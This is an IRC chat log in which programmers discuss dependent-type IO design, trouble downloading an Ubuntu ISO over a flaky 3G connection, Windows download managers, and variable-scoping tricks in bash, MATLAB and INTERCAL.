14:32:13 <alise> fax: besides you need SOME sort of world-like structure, because you need to be able to do pre and post conditions
14:32:15 <fax> that's what the ... bit was for
14:32:32 <fax> it's put pre & post conditions in bind
14:33:00 <alise> so what is bind's type?
14:33:48 <fax> forget about IO for a moment
14:33:53 <fax> this works for any monad
14:33:53 <alise> k
14:34:59 <alise> I'm waiting
14:35:30 <fax> nevermind, it was wrong
14:36:03 <alise> lol
14:36:07 <alise> the problem with
14:36:08 <alise> type IO r = ((Sigma (w : World m c). m > SOMETHING) -> r -> Sigma (w' : World m' c'). (m' > m /\ SOMETHING)) -> World m' c'
14:36:11 <alise> is that I can't say SOMETHING
14:36:12 <alise> :)
14:36:18 <pineapple> heh
14:41:36 <alise> fax: http://pastie.org/878467.txt?key=babbgfpdokohtn3kjvzdnq
14:41:50 <alise> this is obviously wrong in some major way because I can't figure out how it isn't wrong
14:42:32 <alise> but I /think/ it's a totally pure, general, abstract constraint-based IO system
14:43:15 -!- pikhq has quit (Read error: Connection reset by peer).
14:43:28 <alise> this project - write hello in nance - turns out to be much harder than I ever imagined
14:44:32 <alise> fax: so how would /you/ do it :)
14:44:44 <fax> I don't do IO
14:45:21 <fax> just do pure programming in a monad then write a 10 line C/Haskell thing to drive it
14:46:31 <alise> nah the whole point of volit is to extract the program from the ... program
14:46:33 <alise> besides
14:46:36 <alise> safe io is very important
14:46:49 <alise> and i think being able to prove things about IOing programs is awesome
14:52:51 <alise> fax: what was that method you suggested for doing inductive data types?
14:53:01 <fax> ??
14:56:12 <alise> fax: you said it yesterday
14:56:21 <alise> you axiomatise induction or something and then that gives you inductive types
14:59:05 <alise> I wish ais523 was here so I could ask him something.
15:00:02 <alise> fax: can you define coinductive data types with inductive ones?
15:00:58 <fax> I don't know
15:01:17 <alise> :|
15:01:20 <alise> u suk
15:05:22 <alise> nance foo.ne -o foo.prove && prove foo.prove && volit foo.ne -o foo.hs && ghc -O2 --make foo.hs -o foo
15:05:33 <alise> Hmm, I guess nance and volit have to share a library so they can process Nance code.
15:05:40 <alise> Although I could also have /another/ intermediate form:
15:06:44 <alise> nance foo.ne -o foo.ncr && ncr2prove foo.ncr && prove foo.ncr && volit foo.ncr -o foo.hs && ghc -O2 --make foo.hs -o foo
15:07:02 <alise> erm
15:07:11 <alise> nance foo.ne -o foo.ncr && ncr2prove foo.ncr -o foo.prv && prove foo.prv && volit foo.ncr -o foo.hs && ghc -O2 --make foo.hs -o foo
15:07:18 <alise> So ncr has enough information to distinguish things like Prop and Set easily, while prv is completely core.
15:11:21 <alise> So then to trust a Nance proof foo.ne, you have to trust that nance compiles it correctly to foo.ncr, then that ncr2prove compiles foo.ncr correctly to foo.prv, then prove checks it correctly.
15:11:38 <alise> As opposed to: to trust a Nance proof foo.ne, you have to trust that nance compiles it correctly to foo.prv, then that prove checks it correctly.
15:11:45 <alise> Prove checking it correctly is basically certain, so:
15:11:52 <alise> Trust nance & ncr2prv vs trust nance.
15:14:49 -!- pikhq has joined.
15:17:31 <alise> Hi pikhq.
15:28:39 <alise> pikhq: you there?
15:38:33 <alise> Answer: No
15:52:52 -!- atrapado has quit (Quit: Ex-Chat).
16:27:07 <alise> woo, I can use unetbootin to boot the ubuntu iso from an ntfs partition i think
16:46:28 -!- ais523 has joined.
16:50:05 <alise> Hi ais523!
16:50:10 <alise> Have you tried the 10.04 beta?
16:50:23 <ais523> hi and no
16:50:26 <alise> http://1.2.3.9/bmi/news.softpedia.com/images/extra/LINUX/large/ubuntu10artwork-large_009.jpg ;; the theme is a bit pretty.
16:50:30 <alise> But it uses Yahoo! by default (?!)
16:50:39 <alise> and includes some social networking bullshit by default; sigh
16:50:42 <ais523> alise: yahoo paid them more than google
16:50:47 <ais523> but you can change it back easily enough
16:51:02 <alise> yes, but it exposes canonical a bit for the money-grabbing bastards they are :))
16:51:23 <alise> I'm downloading 9.10 now just because I'd like some stability. 10.04? Maybe later.
16:51:28 <alise> When I have more bandwidth, perhaps.
16:52:46 <alise> Now if only they'd fix the subpixel rendering...
16:55:37 -!- alise_ has joined.
16:55:40 <alise_> Fuck! Fuck!
16:55:43 <alise_> Fucking Chrome! Shit!
16:56:00 <alise_> My 3G connection dropped. Disconnected, reconnected - chrome portrays the ISO as downloaded - no resuming - fuck!
16:57:16 -!- alise has quit (Ping timeout: 256 seconds).
16:58:11 <alise_> ais523: Punch me so I feel better
16:58:17 <ais523> alise_: over HTTP?
16:58:27 <ais523> umm, IRC?
16:58:29 <Deewiant> Over IRC, surely
16:58:57 <alise_> http://nctritech.files.wordpress.com/2008/11/tcpip_punch1.jpg
16:59:36 * alise_ ponders whether to redownload 9.10 or go for 10.04
16:59:40 <ais523> alise_: I take it it didn't manage to download before the connection dropped?
16:59:49 <alise_> ais523: not unless I suddenly got a 100 mbit connection
17:00:07 <Deewiant> This is why you should use something that can resume when you're on an uncertain connection
17:00:13 <Deewiant> (Or always, really)
17:00:16 <alise_> Deewiant: I thought Chrome would be such a thing.
17:00:26 <Deewiant> Think not; know.
17:01:01 -!- songhead95 has quit (Quit: songhead95).
17:01:13 <ais523> it seems a bizzare feature for Chrome not to have
17:03:06 <alise_> Deewiant: Then you will be tanasin?
17:03:09 <alise_> *tanasinn
17:03:46 <Deewiant> What does tanasinn have to do with anything :-P
17:04:11 <alise_> 10.04: Unstable lots of updates so network access and stuff... but nice themes and stuff, and, uh, ...
17:04:12 <alise_> 9.10: Yeah
17:04:25 <alise_> Deewiant: "Don't think, feel. Then you will be tanasinn."
17:04:34 <Deewiant> Right.
17:04:40 <Deewiant> Screw "feel", just know.
17:04:49 <alise_> Constructivist tanasinn.
17:04:55 <Deewiant> :-P
17:05:48 <alise_> ? : tanasinn
17:05:50 <alise_> ? = feel
17:05:53 <alise_> aww, stupid mirc
17:06:08 <ais523> alise_: isn't 10.04 the version which puts the minimize/close/maximise buttons on the top-left of the window, in defiance of both fitts' law and common sense?
17:07:40 <Deewiant> How does it defy Fitts's?
17:08:12 <alise_> ais523: It doesn't defy Fitts', and OS X does it too
17:08:19 <alise_> the close position sucks though
17:08:25 <alise_> it's unfittsy there, I agree
17:08:27 <ais523> alise_: the close position isn't in the corner, like it is on OS X
17:08:38 <alise_> http://www.design-by-izo.com/2010/03/13/ubuntu-lucid-and-that-button-layout/
17:08:41 <ais523> also, it's very close to the menus, which has the effect of meaning you have to be more careful
17:08:55 <alise_> http://www.design-by-izo.com/wp-content/uploads/2010/03/button-layout-kde.png seems like the best solution
17:09:01 <alise_> it's the most fittsy of them all
17:09:52 <ais523> alise_: oh, my close button's red already
17:09:55 <ais523> I use the New Wave theme
17:10:00 <ais523> at least, it turns red when you hover over it
17:10:06 -!- songhead95 has joined.
17:10:07 <alise_> I wasn't talking about redness :P
17:10:12 <ais523> and although it doesn't look like it stretches to the corner, it fdoes
17:10:14 <ais523> alise_: no, but he was
17:10:21 <alise_> ah
17:10:40 <alise_> http://www.design-by-izo.com/wp-content/uploads/2010/03/button-layout-kde.png <-- this is a pretty kde theme, I wonder what it is
17:10:56 * alise_ just installs 9.10, I'm too lazy to do anything fancy
17:11:09 <alise_> what's good for resumable windows downloads?
17:11:25 <ais523> I think firefox does them, but it's a bit bloated
17:11:34 <ais523> you could grab a Windows copy of wget, that would probably be ideal
17:11:37 <alise_> just a downloader
17:11:51 <alise_> http://1.2.3.11/bmi/www.jensroesner.de/wgetgui/wgetgui_simple.png
17:11:53 <alise_> argh
17:11:58 <alise_> http://www.jensroesner.de/wgetgui/wgetgui_simple.png
17:12:03 <alise_> I regret googling "Windows wget ui"
17:12:39 <ais523> oh, I'd say go for a command-line tool
17:12:59 <ais523> also, http://1.2.3.11/ what?
17:13:07 <alise_> stupid 3g broadband stick mangles all images :)
17:13:07 <ais523> 1.2.3.0/24 is reserved
17:13:09 <alise_> (and webpages)
17:13:14 <ais523> alise_: oh
17:13:22 <alise_> (to add javascript so you can do shift-r/a to improve the quality of images)
17:13:26 <ais523> haha, it's contributing to 1.2.3.0/24 pollution
17:13:34 <alise_> you can send a certain header to stop it -- but I don't think Chrome can do that :)#
17:13:37 <alise_> *:)
17:14:19 <ais523> why doesn't it just use an IP in 10 or 192.168?
17:14:26 <ais523> those would both be obvious choices, considering what it's doing
17:14:49 <alise_> because idiots
17:15:13 <fizzie> ais523: The "obvious" reason for not using a private-area IP is to avoid conflicts for people who use those in their local networks, but I don't quite see how it'd apply for a 3G stick necessarily.
17:15:19 <ais523> fizzie: yes
17:15:34 <Deewiant> Don't forget 172.16/12
17:15:38 <ais523> also, avoiding conflicts by using you're using an address that's specifically reserved for a different purpose, and hoping nobody else will use it either?
17:15:45 <ais523> *by using
17:16:01 <fizzie> Deewiant: You could make some "172.16/12 - never forget!" T-shirts.
17:16:18 <Deewiant> I could, yes
17:16:36 <ais523> Deewiant: I was aware there was a /12 floating around somewhere for that purpose, but not its number
17:18:10 <fizzie> They have one block in each of the class A, B and C ranges, even though everything's so CIDRy nowadays.
17:19:29 <alise_> Wow, there is not one shitty Windows download manager.
17:19:33 <alise_> Guess I'll just use command-line wget.
17:20:36 <Deewiant> alise_: http://www.oldversion.com/GetRight.html
17:21:19 <alise_> That's was not is
17:21:39 <alise_> Which is the least shitty version? :-)
17:22:03 <Deewiant> I can't remember, to be honest
17:22:05 <Deewiant> It's been years :-P
17:22:19 <Deewiant> Presumably any of the ones that are there are non-shitty
17:23:10 <fizzie> Their official description is funny: "GetRight® is a download manager that simply improves and optimizes the files you download from the Internet."
17:23:14 <alise_> Apparently 6.3 is the latest, and it has 6, so probably not
17:23:19 <fizzie> Not only does it download well, it even makes the content better.
17:23:22 <alise_> 4.5e; let's try that.
17:24:02 <alise_> Wise Installation Wizard. 2002. A /bit/ too old.
17:25:32 <ais523> hey, that even predates XP, somehow
17:25:42 <ais523> still, I remember wise
17:25:49 <ais523> more for the uninstall program, which was called unwise
17:25:52 * alise_ tries 1.3
17:25:55 -!- olsner_ has joined.
17:26:03 <alise_> Really old is good; new is sometimes good.
17:26:08 <alise_> In-between is shitty. Usually. For Windows.
17:26:16 <alise_> ---------------------------
17:26:16 <alise_> Unsupported 16-Bit Application
17:26:16 <alise_> ---------------------------
17:26:16 <alise_> The program or feature "\??\C:\Users\Elliott\Documents\Downloads\getright13.exe" cannot start or run due to incompatibity with 64-bit versions of Windows. Please contact the software vendor to ask if a 64-bit Windows compatible version is available.
17:26:16 <alise_> ---------------------------
17:26:16 <alise_> OK
17:26:17 <alise_> ---------------------------
17:26:19 <alise_> 16-BIT?!
17:26:32 <ais523> alise_: it was common back then, 32-bit programs were relatively unreliable on XP
17:26:44 <ais523> I know, I always wrote 16-bit for XP because it had trouble getting 32-bit programs working correctly
17:26:47 <alise_> what?
17:26:55 <ais523> well, XP (before SP) and 98
17:27:00 <Deewiant> alise_: 2002 is too old? I had probably stopped using getright by 2000
17:27:00 <alise_> almost all XP programs are 32-bit. And this is really old, not XP era.
17:27:04 <ais523> the issue being that half the APIs didn't work
17:27:12 <alise_> Deewiant: Yeah, but Wise gives me AIDS.
17:27:14 <alise_> So what do you use?
17:27:16 <ais523> so you had to keep trying them more or less at random until you found one that did
17:27:22 <alise_> (Yes, it gives me AIDS every single time I use it.)
17:27:34 <Deewiant> alise_: I use a reliable Internet connection ;-)
17:27:44 <alise_> Yeah, well, slight issues with that
17:28:03 <alise_> 1999
17:28:12 <alise_> Let's try this
17:28:18 <Deewiant> alise_: Opera probably has this stuff built in, FWIW. It tends to.
17:28:18 <fizzie> Let's party like it's.
17:28:22 <ais523> isn't that before Windows really understood networking?
17:28:31 -!- songhead95 has quit (Quit: songhead95).
17:29:12 <AnMaster> <ais523> alise_: it was common back then, 32-bit programs were relatively unreliable on XP
17:29:14 <AnMaster> *blink*
17:29:27 <ais523> AnMaster: early versions, at least
17:29:32 <alise_> ais523 is in a fantasy world of crazy
17:29:35 <alise_> disregard him :)
17:29:36 <AnMaster> ais523, that's rather hard to believe
17:29:39 <ais523> hmm, either that, or it's just that my 32-bit compiler was rather unreliable
17:29:44 <ais523> thinking about it, that seems a lot more plausible
17:29:47 <AnMaster> I mean sure, for windows 95 or windows NT 4.0
17:29:48 <fizzie> That's probably a matter of definition; compared to 3.x, all the 9x releases have been pretty internet-savvy. I don't even think you needed a separate TCP/IP stack any more. (Or was it so that IE in 95 still had one?)
17:29:54 <AnMaster> yes probably there it could happen
17:29:58 <AnMaster> but XP...
17:30:13 <Deewiant> fizzie: Certainly not in 98. Not sure about 95.
17:30:17 <AnMaster> what is that "getright" btw?
17:30:27 <Deewiant> Download manager.
17:30:30 <AnMaster> mhm
17:30:35 <AnMaster> what for?
17:30:41 <Deewiant> Downloads? :-P
17:30:45 <AnMaster> I mean, I never saw the point of them
17:30:55 <AnMaster> what can they do that normal tools to download can't?
17:30:55 <fizzie> Deewiant: Does it do the impolite "open multiple connections to same server" thing by default?-)
17:30:57 <alise_> resuming on failed connection
17:31:07 <alise_> man this program is so uh... 1999
17:31:10 <Deewiant> fizzie: I'm not sure. It might.
17:31:21 <Deewiant> fizzie: I think the early versions didn't, at least.
17:31:28 <AnMaster> alise_, is there no wget for windows? I'm pretty sure there was a non-cygwin port of wget
17:31:31 <AnMaster> and wget has -c
17:31:33 <AnMaster> to resume
17:31:52 -!- nooga has quit (Ping timeout: 240 seconds).
17:32:03 <alise_> AnMaster: There is, but meh.
17:32:08 <alise_> I'd prefer it automatically doing so when my connection breaks.
17:32:16 <alise_> I should write a good download manager, except I won't be using Windows for much longer.
17:32:23 <AnMaster> alise_, I'd prefer it to do when I regain connection instead ;P
17:32:29 <Deewiant> AnMaster: Back in the day there might not have been; plus it's CLI, so a bit annoying for normal people, and thus it only handles one file at once.
17:32:30 <alise_> Er, yes.
17:33:08 <alise_> The interface for my download manager would be a list with filenames, progress meters, downladed/total, speed, estimated time and a cancel button to remove it from the list. Downloading would be dragging a URL to the window.
17:33:09 <AnMaster> Deewiant, back in the day it would have been too slow to download more than one file at once
17:33:10 <alise_> End of :P
17:33:22 <AnMaster> your modem connection that is
17:33:31 <ais523> well, is there a good GUI download manager even for Linux that isn't attached to a browser?
17:33:36 <alise_> with zmodem you could chat /and/ download
17:33:37 <AnMaster> alise_, like the firefox download list basically?
17:33:41 <ais523> wget's an excellent /command-line/ download manager, but it isn't GUI
17:33:42 <alise_> ais523: but why? linux browsers do it just fine :P
17:33:49 <ais523> alise_: curiosity
17:33:49 <AnMaster> I think firefox does do resuming
17:33:53 <alise_> ais523: ooh, this links into an excellent idea I had for a GNOME UI feature
17:33:57 -!- nooga has joined.
17:33:57 <AnMaster> ais523, pretty sure I saw a KDE one once
17:34:00 <AnMaster> err
17:34:01 <AnMaster> alise_, ^
17:34:12 <alise_> ais523: now you ask what it is
17:34:14 <AnMaster> oh wait, it was ais523 who asked it in fact
17:34:17 -!- wIRC9 has joined.
17:34:17 <Deewiant> AnMaster: Yes, which is exactly why you want a manager, so that you can queue dozens.
17:34:25 <ais523> firefox queus
17:34:28 <ais523> *queues
17:34:34 -!- wIRC9 has quit (Client Quit).
17:34:38 <AnMaster> alise_, ais523: you have nicks starting on same char and of the same length
17:34:40 <AnMaster> -_-
17:34:41 -!- songhead95 has joined.
17:34:42 <AnMaster> please fix
17:34:46 <alise_> ais523: ASK WHAT IT IS
17:34:48 <alise_> AnMaster: no
17:34:51 <ais523> AnMaster: your nick also starts with the same char
17:34:56 <ais523> alise_: oh, what is it/
17:34:58 <fizzie> Deewiant: I think it went so that plain 95 didn't include a TCP/IP stack, but they made one and distributed it with IE 2-or-so and the later 95 versions; and I think the IE dialler and stack also worked in 3.11 later on. There was also a version of Trumpet Winsock for 95.
17:34:58 <alise_> and is of the same length if you pad it out!
17:35:06 <alise_> ais523: I'll tell you in /msg, it's floody
17:35:07 <ais523> I thought you wanted me to ask AnMaster what his KDE download manager was
17:35:10 <AnMaster> ais523, it is of different case and nick of different length
17:35:17 <AnMaster> ais523, I never tried it
17:35:22 <ais523> AnMaster: IRC is case-insensitive
17:35:23 <AnMaster> I just noticed that one existed
17:35:40 <ais523> AnMaster: hey, I didn't ask, it was alise_ who didn't ask me to ask you!
17:35:43 <AnMaster> ais523, well sure, but that isn't relevant to visually reading the nicks
17:35:49 <fizzie> Deewiant: I do remember that for a 3.11 user, the IE dialler was considerably more modern-looking than the (maybe not most current) version of Trumpet I had.
17:36:03 <ais523> AnMaster: they're different colours in this client...
17:36:19 <AnMaster> fizzie, trumpet?
17:36:44 <AnMaster> ais523, I never liked that, most of the time it is even more confusing
17:36:49 <fizzie> AnMaster: Trumpet Winsock.
17:37:00 <AnMaster> fizzie, a ppp program?
17:37:16 <fizzie> AnMaster: Yes, I think it could do PPP too; also SLIP.
17:37:21 <AnMaster> heh
17:38:15 <fizzie> Also, I don't think you can chat and download simultaneously with (unmodified) ZMODEM, because I think the main "killer feature" of SMODEM was the chat thing. (And there was some competitors too.)
17:38:45 <AnMaster> err
17:38:45 <alise_> ok, smodem then
17:38:45 -!- alise_ has quit (Read error: Connection reset by peer).
17:38:57 <AnMaster> wasn't smodem something used for BBS or such
17:39:02 <fizzie> SMODEM also does bidirectional transfers.
17:39:03 <fizzie> Yes.
17:39:04 <AnMaster> rather than internet dialup
17:39:17 -!- alise_ has joined.
17:39:24 <alise_> I'm not entirely sure this resume worked
17:39:33 <fizzie> http://en.wikipedia.org/wiki/File:SModem.png -- look, isn't it awesome!
17:39:39 <alise_> oh fuck this shit, someone mail me an ubuntu cd
17:39:57 <AnMaster> alise_, you could get them for free before iirc
17:40:01 <AnMaster> not sure nowdays
17:41:17 <alise_> yeah but it takes time
17:41:29 <AnMaster> so does it for everyone else here too
17:41:29 -!- alise_ has quit (Read error: Connection reset by peer).
17:41:46 -!- alise_ has joined.
17:41:55 * alise_ tries wackget instead
17:43:17 <fizzie> Switch to the QNX Demo Disk, it's modern as anything, with a web browser and all, and yet you'd have to download just two floppies.
17:43:22 <fizzie> http://toastytech.com/guis/qnxdemo.html
17:43:30 <fizzie> You might have some problems with the 3G stick in it, though.
17:43:45 <fizzie> But there's the "QNX Is Cool!" demo!
17:43:50 -!- alise_ has quit (Read error: Connection reset by peer).
17:44:06 -!- alise has joined.
17:46:01 -!- alise has quit (Read error: Connection reset by peer).
17:46:37 -!- alise_ has joined.
17:47:17 <fizzie> That is one unreliable network.
17:48:28 -!- alise_ has quit (Read error: Connection reset by peer).
17:49:07 <AnMaster> quite
17:49:46 -!- alise_ has joined.
17:49:48 <alise_> fdgdfgdfgfdgdfg
17:50:08 <fax> afphhpfhffhpfphhnjgeul
17:53:00 -!- oerjan has joined.
17:53:24 -!- kar8nga has quit (Remote host closed the connection).
17:53:24 -!- alise_ has quit (Read error: Connection reset by peer).
17:53:42 -!- alise has joined.
17:54:59 -!- nooga has quit (Ping timeout: 260 seconds).
17:55:34 -!- alise has quit (Read error: Connection reset by peer).
17:55:51 -!- alise has joined.
17:57:49 -!- alise has quit (Read error: Connection reset by peer).
17:58:07 -!- alise has joined.
18:02:52 -!- alise has quit (Ping timeout: 276 seconds).
18:03:26 -!- songhead95 has quit (Quit: songhead95).
18:04:27 -!- alise has joined.
18:04:28 <alise> Anyone remember optbot? :)
18:04:37 <ais523> yes, vaguely
18:04:40 <ais523> although I can't remember what it did
18:04:56 <alise> repeated random lines from history
18:05:06 <oerjan> i remember it was named for me
18:05:09 <alise> yes
18:05:17 <alise> well, also AnMaster
18:05:23 <alise> AnMaster said otpbot for the erlang thing
18:05:27 <alise> opt was like
18:05:34 <alise> Oerjan's Puns Terrible or something
18:05:41 <alise> no it was Oerjan's Terrible Puns
18:05:43 <oerjan> that was it
18:05:45 <alise> but I kept typoing opt
18:05:47 <alise> for otp
18:05:48 <alise> so i made it opt
18:06:06 <oerjan> very optional
18:06:29 <fizzie> fungot can also repeat random lines from history, it just gets a bit confused sometimes.
18:06:32 <fungot> fizzie: the question of rendered fat, the commission will clearly seek every available means to escape the current legal framework, mr president, and what we are intending to use its relationships with european partners, the non-governmental organizations which, in the coming months, the forwarding of appropriations to implement the legislation and practice. however, we must support all initiatives that aim at strengthening our
18:06:45 <fizzie> Oh, someone's been doing politics again.
18:07:19 <alise> 16:24:03 <AnMaster> ehird, caller() { local myvar; callee "myvar" "other arguments"; } callee() { printf -v "$1" "%s" "$2"; }
18:07:24 <alise> aieeeee
18:07:29 <fizzie> Bot-tweet: "About NetHack: hacking: the chamber was of a retreating nymph. 'saruman!' he cried, and treasure it as though it were a piece of v-shaped..."
18:07:34 <alise> AnMaster: can you eval in the caller's scope?
18:08:17 <oerjan> local is dynamically scoped, not static, if that's perl
18:08:32 <oerjan> (proper static is "my" iirc)
18:08:44 <fizzie> That doesn't look like perl; there's no sub, and no sigil for the var.
18:09:01 <oerjan> hm true
18:09:23 <fizzie> But you can eval code in the caller's scope in MATLAB, too: evalin('caller', 'x = 42'); is a rather impolite thing to do.
18:09:44 <oerjan> <oklopol> can't you do geometry on rationals?
18:09:52 <oerjan> no, you need square roots
18:10:11 <fizzie> Or even evalin('base', 'x = 42'); if you want it to be evaluated directly in the workspace of the user's session.
18:10:25 <ais523> in Perl, you can't exactly eval in the caller's scope
18:10:27 <oerjan> the constructible numbers it's the smallest field closed under square roots
18:10:29 <oerjan> *is
18:10:38 <ais523> but you can take the caller's local/lexical variables from the symbol table and modify them that way
18:10:58 <oerjan> (well, field of reals)
18:11:19 <Deewiant> fizzie: Why would one ever want to use this? :-P
18:11:47 <fizzie> Deewiant: You can use it to forcibly return values, even if the caller doesn't want you to. :p
18:12:08 <Deewiant> Well yes, you can use it to be obnoxious
18:12:09 <fizzie> Deewiant: There's also a curious restriction: "evalin cannot be used recursively to evaluate an expression. For example, a sequence of the form evalin('caller', 'evalin(''caller'', ''x'')') doesn't work."
18:12:10 <alise> it's bash not perl
18:12:14 <alise> eqaw4235s6etf987yg-p09uh-o]=p
18:12:39 <AnMaster> <alise> AnMaster: can you eval in the caller's scope? <-- that is bash, but well I think I described it at the time I mentioned it
18:12:40 <alise> [#324qw56e7ri8ulp9jo[0j['0oi;pj0l98hyngtfrxeadwq4rs6hu8,ghp0oi[;0,l98gu7y6tfry5d6t4esrw3aqe4st6p0o'l[0ogy6utfd65eswra432qstdey6p[0o'0j98sw5y6gtik09y6tr4eswgr4sw6tr4efwas4uy60pytfresar6y6tr4fesw646ir4fe3r4y6eaw87tr4ef
18:12:41 <fizzie> Deewiant: There's also assignin() if you want to stick a value into the caller's workspace without having to turn it into a string like that.
18:12:48 <AnMaster> but eval
18:12:50 <AnMaster> not sure
18:13:11 <Deewiant> fizzie: Awfully handy, I suppose
18:13:49 <fizzie> Deewiant: The examples do look a bit contrived.
18:13:51 <AnMaster> alise, anyway, why aieeee? You saw it before
18:14:15 <fizzie> Deewiant: "The assignin function is particularly useful for these tasks: Exporting data from a function to the MATLAB workspace. Within a function, changing the value of a variable that is defined in the workspace of the caller function (such as a variable in the function argument list)."
18:14:25 <ais523> in INTERCAL, you can assign variables in the caller's scope by temporarily ending scope for that variable, then resuming it again
18:14:33 <ais523> scopes in INTERCAL don't actually have to be well-nested
18:14:34 <fizzie> Deewiant: I guess the latter part makes it a sort of a pass-by-reference mechanism.
18:15:06 <fizzie> Deewiant: You can do value = evalin('caller', varname) to "dereference" the "pointer", and then assignin('caller', varname, value) to set it.
18:15:26 <Deewiant> fizzie: Contrived, yes. :-)
18:15:51 <ais523> I think I prefer the INTERCAL method
18:16:07 <fizzie> Deewiant: Well, MATLAB's completely pass-by-value, as far as I remember, so if you want to do that sort of stuff...
18:16:45 <fizzie> (There's a copy-on-write thing if you pass in a large matrix.)
18:16:51 <AnMaster> alise, as for eval in caller's scope, define what that actually would mean in terms of bash scoping please
18:17:04 <alise> pass-by-singular-reference
18:17:09 <AnMaster> I can't figure out how the question makes sense in bash's model
18:17:12 <alise> all equal values have the same reference; passing a value passes this reference
18:17:18 <alise> mutating it mutates it in all places
18:17:53 <alise> f(x) = {x += 1}; y = 2+1; f(3); print(y) --> 4
18:18:15 <AnMaster> alise, everything will be resolved to the first scope that has it
18:19:06 <AnMaster> the only thing for which eval in local scope would differ from eval in own scope would be: a) making new local variables in caller b) in case of your own local variables shadowing the caller's
18:19:18 <AnMaster> I think the answer to those is: "no you can't do that"
18:19:42 <ais523> aww, why not?
18:20:04 <alise> anyone remember my language where you could goto /anywhere/? :)
18:20:09 <ais523> yes, I do
18:20:09 <alise> it was beautiful
18:20:15 <Deewiant> BASIC?
18:20:16 <ais523> it was, but rather too similar to INTERCAL
18:20:23 <alise> Deewiant: no, it was structured that's the beauty
18:20:25 <ais523> Deewiant: no, you could goto, say, the inside of an expression
18:20:31 <alise> returns were jumping to the right place in your caller
18:20:36 <alise> you could jump into the middle of a loop and it'd work fine
18:20:37 <alise> etc
18:20:38 <ais523> actually, you can do that in Overload too
18:20:42 <Deewiant> Asm, then ;-)
18:20:43 <alise> ais523: I wasn't sure about expressions
18:20:44 <ais523> only Overload is a mess that I've abandoned
18:20:45 -!- myndzi has quit (Read error: Connection reset by peer).
18:20:46 <alise> but any statement, certainly
18:20:52 <ais523> executing a pointer took you to wherever the pointer was pointing
18:21:03 <ais523> fixing the callstack after that was your responsibility
18:21:05 <ais523> (it used CPS)
18:21:10 <ais523> (so there wasn't really a callstack)
18:21:13 <AnMaster> <ais523> aww, why not? <-- I can't think of a way to do theose
18:21:14 <AnMaster> those*
18:21:15 <AnMaster> that's why
18:21:16 <AnMaster> well
18:21:17 -!- myndzi has joined.
18:21:23 <AnMaster> if someone else know a way, please tell
18:21:24 <ais523> hey, I invented CPS without realising it
18:21:37 <ais523> /just now/ I have realised that Overload is CPS
18:21:43 <ais523> and it's been like that for years
18:22:11 <AnMaster> mhm
18:23:11 <AnMaster> anyway I just realised that <alise> 16:24:03 <AnMaster> ehird, caller() { local myvar; callee "myvar" "other arguments"; } callee() { printf -v "$1" "%s" "$2"; }
18:23:13 <AnMaster> would break
18:23:23 <AnMaster> if the callee had it's own local variable "myvar" defined
18:23:27 <AnMaster> before that printf -v
18:23:55 <AnMaster> so to ensure a roubust program, local variables should be prefixed with some sort of namespacy thingy
18:23:59 <AnMaster> maybe like:
18:24:14 <AnMaster> lcl_<function name>_<variable name>
18:24:17 <AnMaster> XD
18:24:35 <fizzie> Deewiant: Hey, the only usage example for evalin is "This example extracts the value of the variable var in the MATLAB base workspace and captures the value in the local variable v: v = evalin('base', 'var');" It doesn't really help in understanding why you'd want to use it.
18:25:49 -!- songhead95 has joined.
18:26:28 <AnMaster> fizzie, the reason for using this sort of thing in bash
18:26:36 <AnMaster> is that you can only return an unsigned byte
18:26:41 <AnMaster> from functions
18:26:45 <AnMaster> that is, an exit code
18:27:08 <AnMaster> which means you *have* to do this way to return anything more complex
18:27:18 <fizzie> It's silly that way. Matlab lets you return an arbitrary number of return values, and in any case those return values can be arbitrary data structures.
18:27:23 <AnMaster> or use some global "return_value" variable
18:27:31 <AnMaster> but that seems even more error prone
18:28:00 <AnMaster> fizzie, also for bash this is just a side effect of the scoping rules
18:28:05 <AnMaster> printf -v is just "print to variable name"
18:28:14 <AnMaster> because indirect assignment requires that or eval
18:28:34 <AnMaster> you can't do foo=quux; $foo=bar and get bar into quux
18:29:10 <AnMaster> for the other way around, reading a variable from the variable name you get passed as a variable there is special syntax
18:29:14 <fizzie> I guess in MATLAB you'd be most likely to use this as a some sort of a debugging aid; sticking an "assignin('base', 'temp', confusing_expression);" somewhere means that after executing it, you'll have the value inspectable in the session.
18:29:49 <AnMaster> foo=bar; myvariable=foo; echo ${!myvariable} would echo bar I think
18:29:53 <AnMaster> unless I confused the syntax
18:29:58 <AnMaster> might have been something else than ! there
18:30:20 <AnMaster> fizzie, does matlab have a debugger though?
18:31:04 <AnMaster> bash 4 has associative arrays, but I "emulated" that before in bash 3.x
18:31:12 <AnMaster> really messy
18:32:49 <alise> STUPID FUCKING PIECE OF
18:32:50 <alise> ARGH
18:32:58 <AnMaster> alise, ?
18:33:06 <AnMaster> fizzie, hm does C++ have anything to mess up the scoping?
18:33:35 <AnMaster> if not, that might one of the very few sane parts of C++... (C has quite sane scoping IMO)
18:33:41 <ais523> AnMaster: probably, C++ can mess up /anything/
18:34:28 <AnMaster> well, C99 does something strange for inline without static iirc
18:34:42 <AnMaster> in particular extern inline, which might be a GNU extension
18:35:42 <olsner> istr there was a gnu extension, and then C99 invented something with the same syntax but a different meaning
18:36:09 <AnMaster> istr?
18:36:16 <AnMaster> olsner, and yes that sounds familiar
18:36:27 <olsner> I seem to recall
18:36:34 <AnMaster> ah
18:36:36 <alise> afdnkjsdfn\jkfkjsdaghsdkfghjsdkjfghskjdfghdafsgdfg
18:36:39 <alise> this fucking 3g stick piece of crap
18:36:53 <AnMaster> alise, calm down, it won't become better because you are angry at it
18:37:09 <AnMaster> alternatively: channel your rage, and insert a really bad star wars joke
18:37:37 <alise> i've been trying to download this file for .... like three hours
18:37:42 <alise> first time almost done cut off
18:37:50 <alise> then my connection broke while trying to find ONE download manager that works
18:37:50 <AnMaster> alise, so resume
18:37:53 <AnMaster> wget -c would work
18:37:55 <alise> now it's just cutting off randomly after 30 seconds or so
18:37:59 <songhead95> Boba fet voice: kbytes will do fine
18:38:00 <alise> AnMaster: BUT NONE OF THIS SHIT IS WORKING YOU IDIOT >_<
18:38:05 <Deewiant> alise: How big is the file?
18:38:09 <AnMaster> alise, well on the original file
18:38:20 <fizzie> There is some sort of "he has no patience" starwars joke to be made here.
18:38:34 <alise> Deewiant: 600 megabytes or therewithin
18:38:36 <songhead95> i had to go with the "Credits will do fine"
18:38:38 <songhead95> joke
18:38:41 <alise> d you have to use -c the first time to use -c later?
18:38:47 <alise> not that it matters
18:38:52 <alise> 6 kb/sec, wonderful
18:38:54 <AnMaster> fizzie, that too, but I was going for the "try to convert to dark side"
